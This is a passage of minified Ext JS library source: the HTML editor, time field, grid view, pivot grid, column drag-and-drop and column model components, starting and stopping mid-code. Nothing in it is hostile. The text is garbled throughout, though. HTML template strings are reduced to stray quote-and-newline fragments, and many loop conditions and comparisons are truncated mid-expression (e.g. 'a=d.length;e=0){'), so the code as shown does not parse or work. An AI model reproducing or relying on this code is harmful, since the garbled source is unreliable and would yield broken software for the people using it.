c=this.getEditorBody(),a=this.el.getStyles("font-size","font-family","background-image","background-repeat","background-color","color"),g,b;a["background-attachment"]="fixed";c.bgProperties="fixed";Ext.DomHelper.applyStyles(c,a);g=this.getDoc();if(g){try{Ext.EventManager.removeAll(g)}catch(d){}}b=this.onEditorEvent.createDelegate(this);Ext.EventManager.on(g,{mousedown:b,dblclick:b,click:b,keyup:b,buffer:100});if(Ext.isGecko){Ext.EventManager.on(g,"keypress",this.applyCommand,this)}if(Ext.isIE||Ext.isWebKit||Ext.isOpera){Ext.EventManager.on(g,"keydown",this.fixKeys,this)}g.editorInitialized=true;this.initialized=true;this.pushValue();this.setReadOnly(this.readOnly);this.fireEvent("initialize",this)}catch(d){}},beforeDestroy:function(){if(this.monitorTask){Ext.TaskMgr.stop(this.monitorTask)}if(this.rendered){Ext.destroy(this.tb);var b=this.getDoc();if(b){try{Ext.EventManager.removeAll(b);for(var c in b){delete b[c]}}catch(a){}}if(this.wrap){this.wrap.dom.innerHTML="";this.wrap.remove()}}Ext.form.HtmlEditor.superclass.beforeDestroy.call(this)},onFirstFocus:function(){this.activated=true;this.disableItems(this.readOnly);if(Ext.isGecko){this.win.focus();var a=this.win.getSelection();if(!a.focusNode||a.focusNode.nodeType!=3){var b=a.getRangeAt(0);b.selectNodeContents(this.getEditorBody());b.collapse(true);this.deferFocus()}try{this.execCmd("useCSS",true);this.execCmd("styleWithCSS",false)}catch(c){}}this.fireEvent("activate",this)},adjustFont:function(b){var d=b.getItemId()=="increasefontsize"?1:-1,c=this.getDoc(),a=parseInt(c.queryCommandValue("FontSize")||2,10);if((Ext.isSafari&&!Ext.isSafari2)||Ext.isChrome||Ext.isAir){if(a<=10){a=1+d}else{if(a<=13){a=2+d}else{if(a<=16){a=3+d}else{if(a<=18){a=4+d}else{if(a<=24){a=5+d}else{a=6+d}}}}}a=a.constrain(1,6)}else{if(Ext.isSafari){d*=2}a=Math.max(1,a+d)+(Ext.isSafari?"px":0)}this.execCmd("FontSize",a)},onEditorEvent:function(a){this.updateToolbar()},updateToolbar:function(){if(this.readOnly){return}if(!this.activated){this.onFirstFocus();return}var b=this.tb.items.map,c=this.getDoc();if(this.enableFont&&!Ext.isSafari2){var a=(c.queryCommandValue("FontName")||this.defaultFont).toLowerCase();if(a!=this.fontSelect.dom.value){this.fontSelect.dom.value=a}}if(this.enableFormat){b.bold.toggle(c.queryCommandState("bold"));b.italic.toggle(c.queryCommandState("italic"));b.underline.toggle(c.queryCommandState("underline"))}if(this.enableAlignments){b.justifyleft.toggle(c.queryCommandState("justifyleft"));b.justifycenter.toggle(c.queryCommandState("justifycenter"));b.justifyright.toggle(c.queryCommandState("justifyright"))}if(!Ext.isSafari2&&this.enableLists){b.insertorderedlist.toggle(c.queryCommandState("insertorderedlist"));b.insertunorderedlist.toggle(c.queryCommandState("insertunorderedlist"))}Ext.menu.MenuMgr.hideAll();this.syncValue()},relayBtnCmd:function(a){this.relayCmd(a.getItemId())},relayCmd:function(b,a){(function(){this.focus();this.execCmd(b,a);this.updateToolbar()}).defer(10,this)},execCmd:function(b,a){var c=this.getDoc();c.execCommand(b,false,a===undefined?null:a);this.syncValue()},applyCommand:function(b){if(b.ctrlKey){var d=b.getCharCode(),a;if(d>0){d=String.fromCharCode(d);switch(d){case"b":a="bold";break;case"i":a="italic";break;case"u":a="underline";break}if(a){this.win.focus();this.execCmd(a);this.deferFocus();b.preventDefault()}}}},insertAtCursor:function(c){if(!this.activated){return}if(Ext.isIE){this.win.focus();var b=this.getDoc(),a=b.selection.createRange();if(a){a.pasteHTML(c);this.syncValue();this.deferFocus()}}else{this.win.focus();this.execCmd("InsertHTML",c);this.deferFocus()}},fixKeys:function(){if(Ext.isIE){return function(g){var a=g.getKey(),d=this.getDoc(),b;if(a==g.TAB){g.stopEvent();b=d.selection.createRange();if(b){b.collapse(true);b.pasteHTML("    ");this.deferFocus()}}else{if(a==g.ENTER){b=d.selection.createRange();if(b){var c=b.parentElement();if(!c||c.tagName.toLowerCase()!="li"){g.stopEvent();b.pasteHTML("
");b.collapse(false);b.select()}}}}}}else{if(Ext.isOpera){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.win.focus();this.execCmd("InsertHTML","    ");this.deferFocus()}}}else{if(Ext.isWebKit){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.execCmd("InsertText","\t");this.deferFocus()}else{if(a==b.ENTER){b.stopEvent();this.execCmd("InsertHtml","

");this.deferFocus()}}}}}}}(),getToolbar:function(){return this.tb},buttonTips:{bold:{title:"Bold (Ctrl+B)",text:"Make the selected text bold.",cls:"x-html-editor-tip"},italic:{title:"Italic (Ctrl+I)",text:"Make the selected text italic.",cls:"x-html-editor-tip"},underline:{title:"Underline (Ctrl+U)",text:"Underline the selected text.",cls:"x-html-editor-tip"},increasefontsize:{title:"Grow Text",text:"Increase the font size.",cls:"x-html-editor-tip"},decreasefontsize:{title:"Shrink Text",text:"Decrease the font size.",cls:"x-html-editor-tip"},backcolor:{title:"Text Highlight Color",text:"Change the background color of the selected text.",cls:"x-html-editor-tip"},forecolor:{title:"Font Color",text:"Change the color of the selected text.",cls:"x-html-editor-tip"},justifyleft:{title:"Align Text Left",text:"Align text to the left.",cls:"x-html-editor-tip"},justifycenter:{title:"Center Text",text:"Center text in the editor.",cls:"x-html-editor-tip"},justifyright:{title:"Align Text Right",text:"Align text to the right.",cls:"x-html-editor-tip"},insertunorderedlist:{title:"Bullet List",text:"Start a bulleted list.",cls:"x-html-editor-tip"},insertorderedlist:{title:"Numbered List",text:"Start a numbered list.",cls:"x-html-editor-tip"},createlink:{title:"Hyperlink",text:"Make the selected text a hyperlink.",cls:"x-html-editor-tip"},sourceedit:{title:"Source Edit",text:"Switch to source editing mode.",cls:"x-html-editor-tip"}}});Ext.reg("htmleditor",Ext.form.HtmlEditor);Ext.form.TimeField=Ext.extend(Ext.form.ComboBox,{minValue:undefined,maxValue:undefined,minText:"The time in this field must be equal to or after {0}",maxText:"The time in this field must be equal to or before {0}",invalidText:"{0} is not a valid time",format:"g:i A",altFormats:"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A",increment:15,mode:"local",triggerAction:"all",typeAhead:false,initDate:"1/1/2008",initDateFormat:"j/n/Y",initComponent:function(){if(Ext.isDefined(this.minValue)){this.setMinValue(this.minValue,true)}if(Ext.isDefined(this.maxValue)){this.setMaxValue(this.maxValue,true)}if(!this.store){this.generateStore(true)}Ext.form.TimeField.superclass.initComponent.call(this)},setMinValue:function(b,a){this.setLimit(b,true,a);return this},setMaxValue:function(b,a){this.setLimit(b,false,a);return this},generateStore:function(b){var c=this.minValue||new Date(this.initDate).clearTime(),a=this.maxValue||new Date(this.initDate).clearTime().add("mi",(24*60)-1),d=[];while(c<=a){d.push(c.dateFormat(this.format));c=c.add("mi",this.increment)}this.bindStore(d,b)},setLimit:function(b,g,a){var e;if(Ext.isString(b)){e=this.parseDate(b)}else{if(Ext.isDate(b)){e=b}}if(e){var c=new Date(this.initDate).clearTime();c.setHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds());this[g?"minValue":"maxValue"]=c;if(!a){this.generateStore()}}},getValue:function(){var a=Ext.form.TimeField.superclass.getValue.call(this);return this.formatDate(this.parseDate(a))||""},setValue:function(a){return Ext.form.TimeField.superclass.setValue.call(this,this.formatDate(this.parseDate(a)))},validateValue:Ext.form.DateField.prototype.validateValue,formatDate:Ext.form.DateField.prototype.formatDate,parseDate:function(h){if(!h||Ext.isDate(h)){return h}var k=this.initDate+" ",g=this.initDateFormat+" ",b=Date.parseDate(k+h,g+this.format),c=this.altFormats;if(!b&&c){if(!this.altFormatsArray){this.altFormatsArray=c.split("|")}for(var e=0,d=this.altFormatsArray,a=d.length;e=0){if(!d){c=g-1}d=false;while(c>=0){if(e.call(k||this,l,c,i)===true){return[l,c]}c--}l--}}else{if(c>=g){l++;d=false}while(l','
','
','
','
{header}
',"
",'
',"
",'
','
{body}
','',"
","
",'
 
','
 
',""),headerTpl:new Ext.Template('',"",'{cells}',"","
"),bodyTpl:new Ext.Template("{rows}"),cellTpl:new Ext.Template('','
{value}
',""),initTemplates:function(){var c=this.templates||{},d,b,g=new Ext.Template('','
',this.grid.enableHdMenu?'':"","{value}",'',"
",""),a=['','','
{body}
',"",""].join(""),e=['',"","{cells}",this.enableRowBody?a:"","","
"].join("");Ext.applyIf(c,{hcell:g,cell:this.cellTpl,body:this.bodyTpl,header:this.headerTpl,master:this.masterTpl,row:new Ext.Template('
'+e+"
"),rowInner:new Ext.Template(e)});for(b in c){d=c[b];if(d&&Ext.isFunction(d.compile)&&!d.compiled){d.disableFormats=true;d.compile()}}this.templates=c;this.colRe=new RegExp("x-grid3-td-([^\\s]+)","")},fly:function(a){if(!this._flyweight){this._flyweight=new Ext.Element.Flyweight(document.body)}this._flyweight.dom=a;return this._flyweight},getEditorParent:function(){return this.scroller.dom},initElements:function(){var b=Ext.Element,d=Ext.get(this.grid.getGridEl().dom.firstChild),e=new b(d.child("div.x-grid3-viewport")),c=new b(e.child("div.x-grid3-header")),a=new b(e.child("div.x-grid3-scroller"));if(this.grid.hideHeaders){c.setDisplayed(false)}if(this.forceFit){a.setStyle("overflow-x","hidden")}Ext.apply(this,{el:d,mainWrap:e,scroller:a,mainHd:c,innerHd:c.child("div.x-grid3-header-inner").dom,mainBody:new b(b.fly(a).child("div.x-grid3-body")),focusEl:new b(b.fly(a).child("a")),resizeMarker:new b(d.child("div.x-grid3-resize-marker")),resizeProxy:new b(d.child("div.x-grid3-resize-proxy"))});this.focusEl.swallowEvent("click",true)},getRows:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},findCell:function(a){if(!a){return false}return this.fly(a).findParent(this.cellSelector,this.cellSelectorDepth)},findCellIndex:function(d,c){var b=this.findCell(d),a;if(b){a=this.fly(b).hasClass(c);if(!c||a){return this.getCellIndex(b)}}return false},getCellIndex:function(b){if(b){var a=b.className.match(this.colRe);if(a&&a[1]){return this.cm.getIndexById(a[1])}}return false},findHeaderCell:function(b){var a=this.findCell(b);return a&&this.fly(a).hasClass(this.hdCls)?a:null},findHeaderIndex:function(a){return this.findCellIndex(a,this.hdCls)},findRow:function(a){if(!a){return false}return this.fly(a).findParent(this.rowSelector,this.rowSelectorDepth)},findRowIndex:function(a){var b=this.findRow(a);return b?b.rowIndex:false},findRowBody:function(a){if(!a){return false}return this.fly(a).findParent(this.rowBodySelector,this.rowBodySelectorDepth)},getRow:function(a){return this.getRows()[a]},getCell:function(b,a){return Ext.fly(this.getRow(b)).query(this.cellSelector)[a]},getHeaderCell:function(a){return this.mainHd.dom.getElementsByTagName("td")[a]},addRowClass:function(b,a){var c=this.getRow(b);if(c){this.fly(c).addClass(a)}},removeRowClass:function(c,a){var b=this.getRow(c);if(b){this.fly(b).removeClass(a)}},removeRow:function(a){Ext.removeNode(this.getRow(a));this.syncFocusEl(a)},removeRows:function(c,a){var b=this.mainBody.dom,d;for(d=c;d<=a;d++){Ext.removeNode(b.childNodes[c])}this.syncFocusEl(c)},getScrollState:function(){var a=this.scroller.dom;return{left:a.scrollLeft,top:a.scrollTop}},restoreScroll:function(a){var b=this.scroller.dom;b.scrollLeft=a.left;b.scrollTop=a.top},scrollToTop:function(){var a=this.scroller.dom;a.scrollTop=0;a.scrollLeft=0},syncScroll:function(){this.syncHeaderScroll();var a=this.scroller.dom;this.grid.fireEvent("bodyscroll",a.scrollLeft,a.scrollTop)},syncHeaderScroll:function(){var a=this.innerHd,b=this.scroller.dom.scrollLeft;a.scrollLeft=b;a.scrollLeft=b},updateSortIcon:function(d,c){var a=this.sortClasses,b=a[c=="DESC"?1:0],e=this.mainHd.select("td").removeClass(a);e.item(d).addClass(b)},updateAllColumnWidths:function(){var e=this.getTotalWidth(),k=this.cm.getColumnCount(),m=this.getRows(),g=m.length,b=[],l,a,h,d,c;for(d=0;d=this.ds.getCount()){return null}d=(d!==undefined?d:0);var c=this.getRow(h),b=this.cm,e=b.getColumnCount(),a;if(!(g===false&&d===0)){while(dn){o.scrollTop=r-a}}if(e!==false){var m=parseInt(h.offsetLeft,10),k=m+h.offsetWidth,i=parseInt(o.scrollLeft,10),b=i+o.clientWidth;if(mb){o.scrollLeft=k-o.clientWidth}}}return this.getResolvedXY(s)},insertRows:function(a,i,e,h){var d=a.getCount()-1;if(!h&&i===0&&e>=d){this.fireEvent("beforerowsinserted",this,i,e);this.refresh();this.fireEvent("rowsinserted",this,i,e)}else{if(!h){this.fireEvent("beforerowsinserted",this,i,e)}var b=this.renderRows(i,e),g=this.getRow(i);if(g){if(i===0){Ext.fly(this.getRow(0)).removeClass(this.firstRowCls)}Ext.DomHelper.insertHtml("beforeBegin",g,b)}else{var c=this.getRow(d-1);if(c){Ext.fly(c).removeClass(this.lastRowCls)}Ext.DomHelper.insertHtml("beforeEnd",this.mainBody.dom,b)}if(!h){this.processRows(i);this.fireEvent("rowsinserted",this,i,e)}else{if(i===0||i>=d){Ext.fly(this.getRow(i)).addClass(i===0?this.firstRowCls:this.lastRowCls)}}}this.syncFocusEl(i)},deleteRows:function(a,c,b){if(a.getRowCount()<1){this.refresh()}else{this.fireEvent("beforerowsdeleted",this,c,b);this.removeRows(c,b);this.processRows(c);this.fireEvent("rowsdeleted",this,c,b)}},getColumnStyle:function(b,d){var a=this.cm,g=a.config,c=d?"":g[b].css||"",e=g[b].align;c+=String.format("width: {0};",this.getColumnWidth(b));if(a.isHidden(b)){c+="display: none; "}if(e){c+=String.format("text-align: {0};",e)}return c},getColumnWidth:function(b){var c=this.cm.getColumnWidth(b),a=this.borderWidth;if(Ext.isNumber(c)){if(Ext.isBorderBox||(Ext.isWebKit&&!Ext.isSafari2)){return c+"px"}else{return Math.max(c-a,0)+"px"}}else{return c}},getTotalWidth:function(){return this.cm.getTotalWidth()+"px"},fitColumns:function(g,k,h){var a=this.grid,m=this.cm,t=m.getTotalWidth(false),r=this.getGridInnerWidth(),s=r-t,c=[],p=0,o=0,v,d,q;if(r<20||s===0){return false}var e=m.getColumnCount(true),n=m.getColumnCount(false),b=e-(Ext.isNumber(h)?1:0);if(b===0){b=1;h=undefined}for(q=0;qr){var u=(b==e)?p:h,l=Math.max(1,m.getColumnWidth(u)-(t-r));m.setColumnWidth(u,l,true)}if(g!==true){this.updateAllColumnWidths()}return true},autoExpand:function(l){var a=this.grid,i=this.cm,e=this.getGridInnerWidth(),c=i.getTotalWidth(false),g=a.autoExpandColumn;if(!this.userResized&&g){if(e!=c){var k=i.getIndexById(g),b=i.getColumnWidth(k),h=e-c+b,d=Math.min(Math.max(h,a.autoExpandMin),a.autoExpandMax);if(b!=d){i.setColumnWidth(k,d,true);if(l!==true){this.updateColumnWidth(k,d)}}}}},getGridInnerWidth:function(){return this.grid.getGridEl().getWidth(true)-this.getScrollOffset()},getColumnData:function(){var e=[],c=this.cm,g=c.getColumnCount(),a=this.ds.fields,d,b;for(d=0;d'+this.emptyText+"")}},updateHeaderSortState:function(){var b=this.ds.getSortState();if(!b){return}if(!this.sortState||(this.sortState.field!=b.field||this.sortState.direction!=b.direction)){this.grid.fireEvent("sortchange",this.grid,b)}this.sortState=b;var c=this.cm.findColumnIndex(b.field);if(c!=-1){var a=b.direction;this.updateSortIcon(c,a)}},clearHeaderSortState:function(){if(!this.sortState){return}this.grid.fireEvent("sortchange",this.grid,null);this.mainHd.select("td").removeClass(this.sortClasses);delete this.sortState},destroy:function(){var k=this,a=k.grid,d=a.getGridEl(),i=k.dragZone,g=k.splitZone,h=k.columnDrag,e=k.columnDrop,l=k.scrollToTopTask,c,b;if(l&&l.cancel){l.cancel()}Ext.destroyMembers(k,"colMenu","hmenu");k.initData(null,null);k.purgeListeners();Ext.fly(k.innerHd).un("click",k.handleHdDown,k);if(a.enableColumnMove){c=h.dragData;b=h.proxy;Ext.destroy(h.el,b.ghost,b.el,e.el,e.proxyTop,e.proxyBottom,c.ddel,c.header);if(b.anim){Ext.destroy(b.anim)}delete b.ghost;delete c.ddel;delete c.header;h.destroy();delete Ext.dd.DDM.locationCache[h.id];delete h._domRef;delete e.proxyTop;delete e.proxyBottom;e.destroy();delete Ext.dd.DDM.locationCache["gridHeader"+d.id];delete e._domRef;delete Ext.dd.DDM.ids[e.ddGroup]}if(g){g.destroy();delete g._domRef;delete Ext.dd.DDM.ids["gridSplitters"+d.id]}Ext.fly(k.innerHd).removeAllListeners();Ext.removeNode(k.innerHd);delete k.innerHd;Ext.destroy(k.el,k.mainWrap,k.mainHd,k.scroller,k.mainBody,k.focusEl,k.resizeMarker,k.resizeProxy,k.activeHdBtn,k._flyweight,i,g);delete a.container;if(i){i.destroy()}Ext.dd.DDM.currentTarget=null;delete Ext.dd.DDM.locationCache[d.id];Ext.EventManager.removeResizeListener(k.onWindowResize,k)},onDenyColumnHide:function(){},render:function(){if(this.autoFill){var a=this.grid.ownerCt;if(a&&a.getLayout()){a.on("afterlayout",function(){this.fitColumns(true,true);this.updateHeaders();this.updateHeaderSortState()},this,{single:true})}}else{if(this.forceFit){this.fitColumns(true,false)}else{if(this.grid.autoExpandColumn){this.autoExpand(true)}}}this.grid.getGridEl().dom.innerHTML=this.renderUI();this.afterRenderUI()},initData:function(a,e){var b=this;if(b.ds){var d=b.ds;d.un("add",b.onAdd,b);d.un("load",b.onLoad,b);d.un("clear",b.onClear,b);d.un("remove",b.onRemove,b);d.un("update",b.onUpdate,b);d.un("datachanged",b.onDataChange,b);if(d!==a&&d.autoDestroy){d.destroy()}}if(a){a.on({scope:b,load:b.onLoad,add:b.onAdd,remove:b.onRemove,update:b.onUpdate,clear:b.onClear,datachanged:b.onDataChange})}if(b.cm){var c=b.cm;c.un("configchange",b.onColConfigChange,b);c.un("widthchange",b.onColWidthChange,b);c.un("headerchange",b.onHeaderChange,b);c.un("hiddenchange",b.onHiddenChange,b);c.un("columnmoved",b.onColumnMove,b)}if(e){delete b.lastViewWidth;e.on({scope:b,configchange:b.onColConfigChange,widthchange:b.onColWidthChange,headerchange:b.onHeaderChange,hiddenchange:b.onHiddenChange,columnmoved:b.onColumnMove})}b.ds=a;b.cm=e},onDataChange:function(){this.refresh(true);this.updateHeaderSortState();this.syncFocusEl(0)},onClear:function(){this.refresh();this.syncFocusEl(0)},onUpdate:function(b,a){this.refreshRow(a)},onAdd:function(b,a,c){this.insertRows(b,c,c+(a.length-1))},onRemove:function(b,a,c,d){if(d!==true){this.fireEvent("beforerowremoved",this,c,a)}this.removeRow(c);if(d!==true){this.processRows(c);this.applyEmptyText();this.fireEvent("rowremoved",this,c,a)}},onLoad:function(){if(Ext.isGecko){if(!this.scrollToTopTask){this.scrollToTopTask=new Ext.util.DelayedTask(this.scrollToTop,this)}this.scrollToTopTask.delay(1)}else{this.scrollToTop()}},onColWidthChange:function(a,b,c){this.updateColumnWidth(b,c)},onHeaderChange:function(a,b,c){this.updateHeaders()},onHiddenChange:function(a,b,c){this.updateColumnHidden(b,c)},onColumnMove:function(a,c,b){this.indexMap=null;this.refresh(true);this.restoreScroll(this.getScrollState());this.afterMove(b);this.grid.fireEvent("columnmove",c,b)},onColConfigChange:function(){delete this.lastViewWidth;this.indexMap=null;this.refresh(true)},initUI:function(a){a.on("headerclick",this.onHeaderClick,this)},initEvents:Ext.emptyFn,onHeaderClick:function(b,a){if(this.headersDisabled||!this.cm.isSortable(a)){return}b.stopEditing(true);b.store.sort(this.cm.getDataIndex(a))},onRowOver:function(b,a){var c=this.findRowIndex(a);if(c!==false){this.addRowClass(c,this.rowOverCls)}},onRowOut:function(b,a){var c=this.findRowIndex(a);if(c!==false&&!b.within(this.getRow(c),true)){this.removeRowClass(c,this.rowOverCls)}},onRowSelect:function(a){this.addRowClass(a,this.selectedRowClass)},onRowDeselect:function(a){this.removeRowClass(a,this.selectedRowClass)},onCellSelect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).addClass("x-grid3-cell-selected")}},onCellDeselect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).removeClass("x-grid3-cell-selected")}},handleWheel:function(a){a.stopPropagation()},onColumnSplitterMoved:function(a,b){this.userResized=true;this.grid.colModel.setColumnWidth(a,b,true);if(this.forceFit){this.fitColumns(true,false,a);this.updateAllColumnWidths()}else{this.updateColumnWidth(a,b);this.syncHeaderScroll()}this.grid.fireEvent("columnresize",a,b)},beforeColMenuShow:function(){var b=this.cm,d=b.getColumnCount(),a=this.colMenu,c;a.removeAll();for(c=0;c0){if(!this.cm.isHidden(a-1)){return a}a--}return undefined},handleHdOver:function(c,b){var d=this.findHeaderCell(b);if(d&&!this.headersDisabled){var a=this.fly(d);this.activeHdRef=b;this.activeHdIndex=this.getCellIndex(d);this.activeHdRegion=a.getRegion();if(!this.isMenuDisabled(this.activeHdIndex,a)){a.addClass("x-grid3-hd-over");this.activeHdBtn=a.child(".x-grid3-hd-btn");if(this.activeHdBtn){this.activeHdBtn.dom.style.height=(d.firstChild.offsetHeight-1)+"px"}}}},handleHdOut:function(b,a){var c=this.findHeaderCell(a);if(c&&(!Ext.isIE||!b.within(c,true))){this.activeHdRef=null;this.fly(c).removeClass("x-grid3-hd-over");c.style.cursor=""}},isMenuDisabled:function(a,b){return this.cm.isMenuDisabled(a)},hasRows:function(){var a=this.mainBody.dom.firstChild;return a&&a.nodeType==1&&a.className!="x-grid-empty"},isHideableColumn:function(a){return !a.hidden},bind:function(a,b){this.initData(a,b)}});Ext.grid.GridView.SplitDragZone=Ext.extend(Ext.dd.DDProxy,{constructor:function(a,b){this.grid=a;this.view=a.getView();this.marker=this.view.resizeMarker;this.proxy=this.view.resizeProxy;Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this,b,"gridSplitters"+this.grid.getGridEl().id,{dragElId:Ext.id(this.proxy.dom),resizeFrame:false});this.scroll=false;this.hw=this.view.splitHandleWidth||5},b4StartDrag:function(a,e){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var d=this.view.mainWrap.getHeight();this.marker.setHeight(d);this.marker.show();this.marker.alignTo(this.view.getHeaderCell(this.cellIndex),"tl-tl",[-2,0]);this.proxy.setHeight(d);var b=this.cm.getColumnWidth(this.cellIndex),c=Math.max(b-this.grid.minColumnWidth,0);this.resetConstraints();this.setXConstraint(c,1000);this.setYConstraint(0,0);this.minX=a-c;this.maxX=a+1000;this.startPos=a;Ext.dd.DDProxy.prototype.b4StartDrag.call(this,a,e)},allowHeaderDrag:function(a){return true},handleMouseDown:function(a){var h=this.view.findHeaderCell(a.getTarget());if(h&&this.allowHeaderDrag(a)){var l=this.view.fly(h).getXY(),c=l[0],i=a.getXY(),b=i[0],g=h.offsetWidth,d=false;if((b-c)<=this.hw){d=-1}else{if((c+g)-b<=this.hw){d=0}}if(d!==false){this.cm=this.grid.colModel;var k=this.view.getCellIndex(h);if(d==-1){if(k+d<0){return}while(this.cm.isHidden(k+d)){--d;if(k+d<0){return}}}this.cellIndex=k+d;this.split=h.dom;if(this.cm.isResizable(this.cellIndex)&&!this.cm.isFixed(this.cellIndex)){Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this,arguments)}}else{if(this.view.columnDrag){this.view.columnDrag.callHandleMouseDown(a)}}}},endDrag:function(g){this.marker.hide();var a=this.view,c=Math.max(this.minX,g.getPageX()),d=c-this.startPos,b=this.dragHeadersDisabled;a.onColumnSplitterMoved(this.cellIndex,this.cm.getColumnWidth(this.cellIndex)+d);setTimeout(function(){a.headersDisabled=b},50)},autoOffset:function(){this.setDelta(0,0)}});Ext.grid.PivotGridView=Ext.extend(Ext.grid.GridView,{colHeaderCellCls:"grid-hd-group-cell",title:"",getColumnHeaders:function(){return this.grid.topAxis.buildHeaders()},getRowHeaders:function(){return this.grid.leftAxis.buildHeaders()},renderRows:function(a,r){var b=this.grid,n=b.extractData(),o=n.length,e=this.templates,q=b.renderer,h=typeof q=="function",t=this.getCellCls,m=typeof t=="function",d=e.cell,u=e.row,k=[],p={},c="width:"+this.getGridInnerWidth()+"px;",l,g,s;a=a||0;r=Ext.isDefined(r)?r:o-1;for(s=0;s','
','
','
{title}
','
','
',"
",'
',"
",'
','
','
{body}
','',"
","
",'
 
','
 
',""),initTemplates:function(){Ext.grid.PivotGridView.superclass.initTemplates.apply(this,arguments);var a=this.templates||{};if(!a.gcell){a.gcell=new Ext.XTemplate('','
',this.grid.enableHdMenu?'':"","{value}","
","")}this.templates=a;this.hrowRe=new RegExp("ux-grid-hd-group-row-(\\d+)","")},initElements:function(){Ext.grid.PivotGridView.superclass.initElements.apply(this,arguments);this.rowHeadersEl=new Ext.Element(this.scroller.child("div.x-grid3-row-headers"));this.headerTitleEl=new Ext.Element(this.mainHd.child("div.x-grid3-header-title"))},getGridInnerWidth:function(){var a=Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this,arguments);return a-this.getTotalRowHeaderWidth()},getTotalRowHeaderWidth:function(){var d=this.getRowHeaders(),c=d.length,b=0,a;for(a=0;a0&&d>0){g=g||n.data[a[e-1].dataIndex]!=k[d-1].data[a[e-1].dataIndex]}if(g){r.push({header:p,span:o,start:b});b+=o;o=0}if(h){r.push({header:m,span:o+1,start:b});b+=o;o=0}p=m;o++}c.push({items:r,width:dimension.width||this.defaultHeaderWidth});p=undefined}return c}});Ext.grid.HeaderDragZone=Ext.extend(Ext.dd.DragZone,{maxDragWidth:120,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDragZone.superclass.constructor.call(this,c);if(b){this.setHandleElId(Ext.id(c));this.setOuterHandleElId(Ext.id(b))}this.scroll=false},getDragData:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findHeaderCell(a);if(b){return{ddel:b.firstChild,header:b}}return false},onInitDrag:function(a){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var b=this.dragData.ddel.cloneNode(true);b.id=Ext.id();b.style.width=Math.min(this.dragData.header.offsetWidth,this.maxDragWidth)+"px";this.proxy.update(b);return true},afterValidDrop:function(){this.completeDrop()},afterInvalidDrop:function(){this.completeDrop()},completeDrop:function(){var a=this.view,b=this.dragHeadersDisabled;setTimeout(function(){a.headersDisabled=b},50)}});Ext.grid.HeaderDropZone=Ext.extend(Ext.dd.DropZone,{proxyOffsets:[-4,-9],fly:Ext.Element.fly,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.proxyTop=Ext.DomHelper.append(document.body,{cls:"col-move-top",html:" "},true);this.proxyBottom=Ext.DomHelper.append(document.body,{cls:"col-move-bottom",html:" "},true);this.proxyTop.hide=this.proxyBottom.hide=function(){this.setLeftTop(-100,-100);this.setStyle("visibility","hidden")};this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDropZone.superclass.constructor.call(this,a.getGridEl().dom)},getTargetFromEvent:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findCellIndex(a);if(b!==false){return this.view.getHeaderCell(b)}},nextVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.nextSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.nextSibling}return null},prevVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.prevSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.prevSibling}return null},positionIndicator:function(d,l,k){var a=Ext.lib.Event.getPageX(k),g=Ext.lib.Dom.getRegion(l.firstChild),c,i,b=g.top+this.proxyOffsets[1];if((g.right-a)<=(g.right-g.left)/2){c=g.right+this.view.borderWidth;i="after"}else{c=g.left;i="before"}if(this.grid.colModel.isFixed(this.view.getCellIndex(l))){return false}c+=this.proxyOffsets[0];this.proxyTop.setLeftTop(c,b);this.proxyTop.show();if(!this.bottomOffset){this.bottomOffset=this.view.mainHd.getHeight()}this.proxyBottom.setLeftTop(c,b+this.proxyTop.dom.offsetHeight+this.bottomOffset);this.proxyBottom.show();return i},onNodeEnter:function(d,a,c,b){if(b.header!=d){this.positionIndicator(b.header,d,c)}},onNodeOver:function(g,b,d,c){var a=false;if(c.header!=g){a=this.positionIndicator(c.header,g,d)}if(!a){this.proxyTop.hide();this.proxyBottom.hide()}return a?this.dropAllowed:this.dropNotAllowed},onNodeOut:function(d,a,c,b){this.proxyTop.hide();this.proxyBottom.hide()},onNodeDrop:function(b,o,g,c){var d=c.header;if(d!=b){var l=this.grid.colModel,k=Ext.lib.Event.getPageX(g),a=Ext.lib.Dom.getRegion(b.firstChild),p=(a.right-k)<=((a.right-a.left)/2)?"after":"before",i=this.view.getCellIndex(d),m=this.view.getCellIndex(b);if(p=="after"){m++}if(i=0&&this.config[a].resizable!==false&&this.config[a].fixed!==true},setHidden:function(a,b){var d=this.config[a];if(d.hidden!==b){d.hidden=b;this.totalWidth=null;this.fireEvent("hiddenchange",this,a,b)}},setEditor:function(a,b){this.config[a].setEditor(b)},destroy:function(){var b=this.config.length,a=0;for(;a0},isSelected:function(a){var b=Ext.isNumber(a)?this.grid.store.getAt(a):a;return(b&&this.selections.key(b.id)?true:false)},isIdSelected:function(a){return(this.selections.key(a)?true:false)},handleMouseDown:function(d,i,h){if(h.button!==0||this.isLocked()){return}var a=this.grid.getView();if(h.shiftKey&&!this.singleSelect&&this.last!==false){var c=this.last;this.selectRange(c,i,h.ctrlKey);this.last=c;a.focusRow(i)}else{var b=this.isSelected(i);if(h.ctrlKey&&b){this.deselectRow(i)}else{if(!b||this.getCount()>1){this.selectRow(i,h.ctrlKey||h.shiftKey);a.focusRow(i)}}}},selectRows:function(c,d){if(!d){this.clearSelections()}for(var 